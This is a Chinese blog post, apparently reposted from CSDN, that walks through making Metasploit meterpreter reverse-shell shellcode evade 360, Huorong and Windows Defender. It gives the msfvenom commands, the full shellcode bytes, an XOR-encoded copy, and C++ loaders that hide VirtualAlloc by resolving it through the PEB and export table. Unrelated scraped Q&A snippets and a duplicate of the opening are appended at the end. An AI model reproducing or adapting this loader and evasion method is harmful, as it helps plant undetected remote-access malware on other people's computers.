【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

2023-05-16

Shellcode,顾名思义是一段拿来执行的代码片段,我们可以使用Shellcode来完成我们需要的任务

弹窗的代码,可以被认为是一段Shellcode,获取某个模块的基址的代码,也可以被认为是一段Shellcode,同理,拿来干坏事的代码,也是Shellcode

如今的杀毒软件都拥有查杀病毒木马的能力,除了静态的查杀,还有动态的主动防御,若恶意代码片段(拿来干坏事的Shellcode)被杀软发现,则可以认为当前运行的程序是病毒木马或是被感染的文件,理应“杀掉”

有些时候,我们不想让自己写的代码被杀毒软件当作恶意软件,于是出现了免杀技术,今天来尝试着做一次免杀

首先使用万能的Metasploit生成一个普普通通的payload文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f exe -o payload.exe

把payload.exe复制到带有火绒的系统中,被秒杀,由此见得各杀软是把这一类工具的产物盯得死死的

换个思路,仅把Shellcode生成出来,自己做免杀

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx -f c -o payload.c

得到的payload.c如下

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x8b\x48\x18\x50"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x99\x81\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

然后我们使用C++来执行这段Shellcode

#include <Windows.h>
#include <iostream>

using namespace std;

// 此处是上面的payload.c中的代码

int main()
{
	int a;
	cin >> a;
	if (a == 123)
	{
		auto b = (void(*)())VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		memcpy(b, buf, sizeof(buf));
		b();
	}
}

开发环境用的是Visual Studio 2019,Release x86,其余是默认设置

我们将编译好的程序运行,输入123回车,Shellcode执行成功,而全程火绒没有任何反应

火绒的静态和主防能力有点令人糟心

将程序复制到有Defender的系统上,被秒杀

Defender静态查杀估计是特征码,我们将payload加密一下

string s;
for (size_t i = 0; i < sizeof(buf); i++)
{
	int n = buf[i] ^ 0x44;
	char c[5]{};
	sprintf_s(c, "\\x%x", n);
	s += c;
}
cout << s << endl;

即可得到加密后的payload,我们把输出的新payload替换原有的payload,然后在b();上一行添加解密代码

for (size_t i = 0; i < sizeof(buf); i++)
{
	((unsigned char*)b)[i] ^= 0x44;
}

这次新生成的程序成功绕过了Defender的静态查杀,网传Defender没有主动防御,不知是真是假,反正Shellcode也成功执行,代表着Defender没起作用

接下来把程序复制到有360的系统上,360没有第一时间报毒,但是双击执行的时候被拦截下来了,弹窗提示木马

好家伙,接下来就是长达半小时的不断尝试

本身Shellcode被加密,特征码肯定是没有了,而程序一开始并没有执行Shellcode,因此被杀的原因肯定是出在自己的C++代码上

考虑到VirtualAlloc是一个高危函数,在杀软心中权重很大,且配合其参数,申请一块可执行的内存空间的行为非常可疑,这应该是被杀的主要原因

采用我前面发的写壳的文章中手动找函数地址的方法,避开将VirtualAlloc明文写在导入表里

#include <Windows.h>
#include <iostream>

using namespace std;

typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* fVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

unsigned char buf[] = "\xb8\xac\xcb\x44\x44\x44\x24\x75\x96\xcd\xa1\x20\xcf\x16\x74\xcf\x16\x48\xcf\x16\x50\x75\xbb\x4b\xf3\xe\x62\xcf\x36\x6c\x75\x84\xe8\x78\x25\x38\x46\x68\x64\x85\x8b\x49\x45\x83\xd\x31\xab\x16\xcf\x16\x54\x13\xcf\x6\x78\x45\x94\xcf\x4\x3c\xc1\x84\x30\x8\x45\x94\xcf\x1c\x64\x45\x97\xcf\xc\x5c\x14\xc1\x8d\x30\x78\x75\xbb\xd\xcf\x70\xcf\x45\x92\x75\x84\x85\x8b\x49\xe8\x45\x83\x7c\xa4\x31\xb0\x47\x39\xbc\x7f\x39\x60\x31\xa4\x1c\xcf\x1c\x60\x45\x97\x22\xcf\x48\xf\xcf\x1c\x58\x45\x97\xcf\x40\xcf\x45\x94\xcd\x0\x60\x60\x1f\x1f\x25\x1d\x1e\x15\xbb\xa4\x1c\x1b\x1e\xcf\x56\xad\xc4\xbb\xbb\xbb\x19\x2c\x77\x76\x44\x44\x2c\x33\x37\x76\x1b\x10\x2c\x8\x33\x62\x43\xcd\xac\xbb\x94\xfc\xd4\x45\x44\x44\x6d\x80\x10\x14\x2c\x6d\xc4\x2f\x44\xbb\x91\x2e\x4e\x2c\x84\xec\xdd\xc5\x2c\x46\x44\x55\x18\xcd\xa2\x14\x14\x14\x14\x4\x14\x4\x14\x2c\xae\x4b\x9b\xa4\xbb\x91\xd3\x2e\x54\x12\x13\x2c\xdd\xe1\x30\x25\xbb\x91\xc1\x84\x30\x4e\xbb\xa\x4c\x31\xa8\xac\x23\x44\x44\x44\x2e\x44\x2e\x40\x12\x13\x2c\x46\x9d\x8c\x1b\xbb\x91\xc7\xbc\x44\x3a\x72\xcf\x72\x2e\x4\x2c\x44\x54\x44\x44\x12\x2e\x44\x2c\x1c\xe0\x17\xa1\xbb\x91\xd7\x17\x2e\x44\x12\x17\x13\x2c\x46\x9d\x8c\x1b\xbb\x91\xc7\xbc\x44\x39\x6c\x1c\x2c\x44\x4\x44\x44\x2e\x44\x14\x2c\x4f\x6b\x4b\x74\xbb\x91\x13\x2c\x31\x2a\x9\x25\xbb\x91\x1a\x1a\xbb\x48\x60\x4b\xc1\x34\xbb\xbb\xbb\xad\xdf\xbb\xbb\xbb\x45\x87\x6d\x82\x31\x85\x87\xff\xb4\xf1\xe6\x12\x2e\x44\x17\xbb\x91";

size_t getKernelBase()
{
	return *(***(*((size_t*****)__readfsdword(0x30) + 3) + 7) + 2);
}

int main()
{
	int a;
	cin >> a;
	if (a == 123)
	{
		size_t hKernel = getKernelBase();
		PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)hKernel;
		PIMAGE_NT_HEADERS pImageNtHeader = (PIMAGE_NT_HEADERS)(pImageDosHeader->e_lfanew + hKernel);
		PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hKernel);
		size_t nameCount = pImageExportDirectory->NumberOfNames;
		size_t funcAddr = pImageExportDirectory->AddressOfFunctions + hKernel;
		size_t nameAddr = pImageExportDirectory->AddressOfNames + hKernel;
		size_t ordinal = pImageExportDirectory->AddressOfNameOrdinals + hKernel;
		fGetProcAddress fnGetProcAddress = NULL;
		for (size_t i = 0; i < nameCount; i++)
		{
			USHORT* n = (USHORT*)(*(size_t*)(nameAddr + i * 4) + hKernel);
			if (n[0] == 0x6547 && n[1] == 0x5074 && n[2] == 0x6f72 && n[3] == 0x4163 && n[4] == 0x6464 && n[5] == 0x6572 && n[6] == 0x7373)
			{
				fnGetProcAddress = (fGetProcAddress)(*(size_t*)(funcAddr + *(USHORT*)(ordinal + i * 2) * 4) + hKernel);
			}
		}
		if (fnGetProcAddress == NULL)
		{
			return 0;
		}
		size_t str1[4];
		str1[0] = 0x74726956;
		str1[1] = 0x416c6175;
		str1[2] = 0x636f6c6c;
		str1[3] = 0x0;
		fVirtualAlloc fnVirtualAlloc = (fVirtualAlloc)fnGetProcAddress((HMODULE)hKernel, (char*)str1);
		auto b = (void(*)())fnVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		memcpy(b, buf, sizeof(buf));
		for (size_t i = 0; i < sizeof(buf); i++)
		{
			((unsigned char*)b)[i] ^= 0x44;
		}
		b();
	}
}

要注意的是,我这里把找Kernel32.dll基址的代码另起了一个函数,是因为不这样的话还是会被查杀,估计是“获取基址+解析PE文件”这一段代码被识别成了特征码,而我将它们分开则破坏了特征

为了不让编译器优化机制坏我们的好事,在设置中关闭编译器优化

接下来新生成的程序成功绕过了360的查杀,顺利执行了Shellcode

img

再将程序分别拿到有火绒和有Defender的系统中,照样无视它们~

至此,Shellcode免杀就告一段落了,这次尝试还是比较成功的,在思考的过程中我也有许多的收获,自己也有一些独自的见解,比如插入花指令啥的,当时试了一下没起作用,现在想想,有可能是被编译器优化坏了好事= =

同时,在网上收集资料的过程中也看到了许多大佬的文章和心得,函数哈希、托管代码、powershell、白加黑等操作令我耳目一新,有时间的话把这些方法都学一学,也算是增长见识了

现在的杀软的云查杀非常厉害,单独的免杀我认为前途不大,如果程序能够自己“分裂”无数个自己,而每个自己又不相同,却可以完成一样的事情,这才能真正应对云查杀
————————————————
版权声明:本文为CSDN博主「古月浪子」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/tqydyqt/article/details/113831533

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防 的相关文章

  • 将 Azure 网站迁移到 Azure 云服务

    我有一个项目 我计划将 Web 应用程序作为 Azure 网站启动 然后将其迁移到 Azure 云服务 也称为托管服务 如果需要作为扩展策略 做出这个决定是因为我了解到 Azure 网站的开发更加简单 快速 几乎不需要特定于 Azure 的
  • perfmon 性能计数器是否基于与 xperf 使用的 ETW 事件“幕后”相同的东西?

    我最近开始熟悉 perfmon 和 xperf Perfmon 使用性能计数器 xperf 使用 ETW Windows 事件跟踪 Perfmon 具有提供数据的对象 而 xperf 使用 提供者 组 作为这个领域的新手 我想问是否有人可以
  • 使用 WriteConsoleOutput 用 c# 编写 Unicode

    我正在尝试使用WriteConsoleOutput来自 kernel32 dll 的函数 但是我无法正确显示 unicode 字符 它们总是显示为错误的字符 我尝试过使用 Console OutputEncoding System Text
  • 命令行字符串的最大长度

    在Windows中 命令行字符串的最大长度是多少 意思是如果我指定一个在命令行上接受参数的程序 例如abc exe name abc 我编写的一个简单的控制台应用程序通过命令行获取参数 我想知道最大允许数量是多少 来自微软文档 命令提示符
  • 加载配置文件时发生错误:访问路径 c:\Program Files (x86)\... 被拒绝

    我有一个在 Windows 7 上使用 Visual Studio 2010 中的安装程序部署的应用程序 该程序在 Windows 7 和 XP 上部署并运行良好 但当我在 Windows 8 系统上部署它时 出现有关访问配置文件的错误 该
  • 如何使用 VB6 调用 Windows shell 命令?

    究竟如何使用 VB6 才能像从命令行一样调用任何 Windows shell 命令 例如 一些微不足道的事情 echo foo 操作方法如下 Shell cmd echo foo vbNormalFocus
  • 使用 Windows 锁定屏幕后删除 Kerberos 缓存票证

    无论如何 有没有办法阻止 Kerberos 缓存的票证在 Windows 进入锁定屏幕后被删除 首次登录 Windows 时 klist exe 显示 2 个缓存票证 但是 发生 Windows 锁屏事件后 klist exe 显示 0 个
  • 如何使用 Anaconda Python 执行 .py 文件?

    我刚刚在我的 Windows 计算机上下载并安装了 Anaconda 但是 我在使用命令提示符执行 py 文件时遇到问题 如何让我的计算机了解 python exe 应用程序位于 Anaconda 文件夹中 以便它可以执行我的 py 文件
  • 发送/捕获 SIGTERM 的 Win32 API 模拟

    在 POSIX OS 下 有信号 API 允许向进程发送信号以将其关闭 使用kill 您可以使用sigaction捕获它并执行您需要的操作 然而 Win32不是POSIX系统 所以 如何处理可能出现的关闭事件 例如来自 任务管理器 中的 结
  • 如何获取subprocess.run启动的进程的pid并杀死它

    我使用的是 Windows 10 和 Python 3 7 我运行了以下命令 import subprocess exeFilePath C Users test test exe subprocess run exeFilePath 使用
  • Nodejs 在 Windows 上找不到已安装的模块

    我现在正在Windows上学习nodejs 使用npm cmd全局安装了几个模块 nodejs找不到已安装的模块 以玉石为例 npm install jade g Jade安装在目录中 C Program Files x86 nodejs
  • netstat 中未显示正在使用的端口,但尝试使用该端口被 Windows 拒绝

    我已经找到了这个问题的答案 只是想记录我的发现 在我最近的一个项目中 我发现某个端口不会在 netstat 中显示为正在使用 但是当我的项目尝试使用该端口时 会抛出错误 例如 假设我想使用端口 53000 netstat ano finds
  • 无法在 Windows 7 上安装 Android USB 驱动程序

    所以我想使用我的新 Nexus 5 来调试我的应用程序 我尝试通过以下方式安装 Android USB 驱动程序装置经理 http developer android com tools extras oem usb html Win7但我
  • Windows docker:权限被拒绝 /var/run/docker.sock

    当我尝试使用自动发现运行 filebeat 时 出现以下错误 退出 自动发现提供程序设置中出现错误 已获得权限 尝试连接到 Docker 守护程序套接字时被拒绝 unix var run docker sock 获取http 2Fvar 2
  • 我可以在 Emacs 的 shell 模式下使用 PowerShell 吗?

    我可以在 emacs 的 shell 模式下使用 powershell 作为 shell 吗 How 请参阅 Jeffrey Snover 的博客文章在 Emacs 内运行的 PowerShell http blogs msdn com p
  • 无法启动 Windows 快捷方式

    我正在尝试使用 python 启动 Windows 我已经尝试了 os system subprocess call os startfile 等多种方法 但总是收到错误消息 指出路径不存在 我知道路径是正确的 因为我尝试在 CMD EXE
  • 多个原始输入窗口接收器

    我有一个仅消息窗口 ATL CWindowImpl 它使用 RIDEV INPUTSINK 标志将自身注册为原始输入 这意味着无论该窗口是否是前台窗口 它都会获取所有输入 当该窗口只有一个实例时 这非常有效 但是 当我创建超过 1 个窗口实
  • 无法在 cmd 中通过管道传递 cmdlet 对象

    我正在使用这个 powershell 命令来获取特定的用户配置文件 获取 WmiObject Class Win32 UserProfile Where Object LocalPath eq C Users Pela 但是当我通过调用 p
  • GetEventLogs() 返回没有设置事件日志?

    采取以下 C 代码 EventLog eventLogs eventLogs EventLog GetEventLogs computername foreach EventLog evt in eventLogs statusMessag
  • Perl:管理 Windows 上的路径编码

    我正在努力处理包含非英文字符的路径 Activestate Perl Windows XP 如何打开 写入 复制等位于包含希腊语 俄语 法语重音字符的路径中的文件 假设我要将 text txt 文件复制到的目录是 C Documents a

随机推荐

  • Odroid U3 烧写镜像文件

    点击打开链接 用SD卡烧写镜像文件 1 在liunx 终端建工作目录 xff1a mkdir linux img cd linux img 2 下载镜像 wget http odroid in ubuntu 14 04 1lts ubunt
  • win下批处理控制扩展屏幕

    仅电脑屏幕 displayswitch internal 复制 displayswitch clone 扩展 displayswitch extend 仅第二屏幕 displayswitch external 引用来源 xff1a http
  • ubuntu 安裝deb_.deb文件如何安装,Ubuntu下deb安装方法图文详解

    deb包是Debian xff0c Ubuntu等Linux发行版的软件安装包 xff0c 扩展名为 deb xff0c 是类似于rpm的软件包 xff0c Debian xff0c Ubuntu系统不推荐使用deb软件包 xff0c 因为
  • day3. -2 NX的SPI操作

    1 NVIDIA在线文档 https docs nvidia com jetson l4t index html page Tegra 20Linux 20Driver 20Package 20Development 20Guide hw
  • (二)随处可见的LED广告屏是怎么工作的呢?代码实现

    书接上回 xff0c 上一篇中我们聊到了LED点阵屏的工作原理和一些电气参数 本篇以第一篇为基础 xff0c 对软件层面进行展开 xff0c 同时也为下一篇接入GUI做铺垫 文章较第一篇有所增长 xff0c 大概需要5 7分钟可以看完 目标
  • (三)随处可见的LED广告屏是怎么工作的呢?接入GUI

    续上文 xff0c 本篇我们将尝试接入一个GUI来控制点阵屏 在前两篇中 xff0c 我们相继介绍了点阵屏的控制原理 xff0c 以及如何让点阵屏按照我们所想的进行显示 本篇将在此基础上接入一个GUI xff0c 使点阵屏的控制更加优雅 限
  • 解决:在STM32的标准库上添加DSP库时error: #247

    DSP库相对于标准的 math h 对浮点计算做了优化和增强 xff0c 运算速度更快 关于STM32如何添加DSP库 xff0c 网上有很多教程 xff0c 笔者在实际操作时发现会遇到keil报error 247的问题 针对于解决过程 x
  • CAN总线多帧即连续帧数据发送 拆包与重装

    1939协议支持多帧数据发送即数据超过8个的帧发送 用户可以通过ID来识别当前帧是否为多帧发送 xff08 连续帧 xff09 xff0c 如果是多帧发送ID xff0c 举例 xff1a 1C EC F4 56 其中 F4和56为目标地址
  • DLT645-2007 规约 电表 报文解析

    注 xff1a 本文为转载 转载地址 xff1a https wenku baidu com view cc10838283d049649b66580d html DLT645 2007 规约 常见报文解析 2012 9 29 by leg
  • 同相比例放大器 输入端 平衡电阻的问题

    同相比例放大器 xff0c 电路原型如下 xff0c 该图是从网上摘取的 xff08 如侵权请联系删除 xff0c 原网址链接见注1 xff09 其中R1为平衡电阻 xff0c 该电阻存在的意义个人认为用于平衡 43 和 向的输入电流 xf
  • SIM800C 透传模式与非透传模式测试对比

    测试过程中 xff0c 公网 IP地址为 xff1a 39 162 72 33 1080 测试 SIM xff1a 中国移动物联卡 测试数据格式 xff1a 16进制 链路连接 xff1a 单路 工作模式 xff1a TCP客户端 说明 x
  • PADS 无模命令 层显示

    Z 43 1 显示的为第一层 Z 43 2 显示的为第二层 依次类推 Z 43 o 显示外层 xff0c 即首层 Z xff08 n M 即显示第几层到第几层 Z 显示所有层 ZT 显示顶层 ZB 显示底层 ZSM Z B显示底层Z C显示
  • 16位精度 ADC 选型

    ADS8320 售价 xff1a 人民币25 40元 ADS8320 16 Bit High Speed 2 7 V to 5 V microPower Sampling Analog to Digital Converter 1Featu
  • 怎么样在stata上安装pwcorr_a啊?findit pwcorr_a之后就是下面图那样?

    怎么样在stata上安装pwcorr a啊 xff1f findit pwcorr a之后就是下面图那样 xff1f 转载 xff1a 我的电脑用findit 不行 xff0c 经管之家的要收费 xff0c 在Gitte网站找到一个开源的压
  • 奇偶校验(附代码实现)

    定义 奇偶校验 Parity Check 是一种校验代码传输正确性的方法 根据被传输的一组二进制代码的数位中 1 的个数是奇数或偶数来进行校验 采用奇数的称为奇校验 xff0c 反之 xff0c 称为偶校验 采用何种校验是事先规定好的 通常
  • libcurl在windows中编译和使用的说明文档(官方翻译)

    使用Visual C构建先决条件 本文档描述了如何编译 xff0c 构建和安装curl和libcurl 从使用Visual C构建工具的来源 要用VC构建 xff0c 你会 当然要先安装VC 所需的最低版本VC是6 xff08 Visual
  • odroid xu4安装ROS melodic+远程登录+Roboware 开发

    odroid xu4安装ROS melodic 43 远程登录 43 Roboware 开发 一 odroid xu4安装ROS melodic二 远程登录odroid xu41 odroid xu4自动登录2 odroid xu4配置固定
  • Vector 简介和优缺点

    引用 xff1a https blog csdn net taiyang1987912 article details 50351827 vector向量相当于一个数组 在内存中分配一块连续的内存空间进行存储 支持不指定vector大小的存
  • PC电脑控制手机iphone(iOS 11、iOS 12、iOS 13),需越狱

    Veency是一款可以用电脑控制你的iPhone的插件 xff0c 作者是大名鼎鼎的Cydia的创始人Jay Freeman xff0c 也就是Saurik 但是最高支持到IOS9 xff0c 在IOS 10以上无法使用 基于Veency
  • 【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

    Shellcode xff0c 顾名思义是一段拿来执行的代码片段 xff0c 我们可以使用Shellcode来完成我们需要的任务 弹窗的代码 xff0c 可以被认为是一段Shellcode xff0c 获取某个模块的基址的代码 xff0c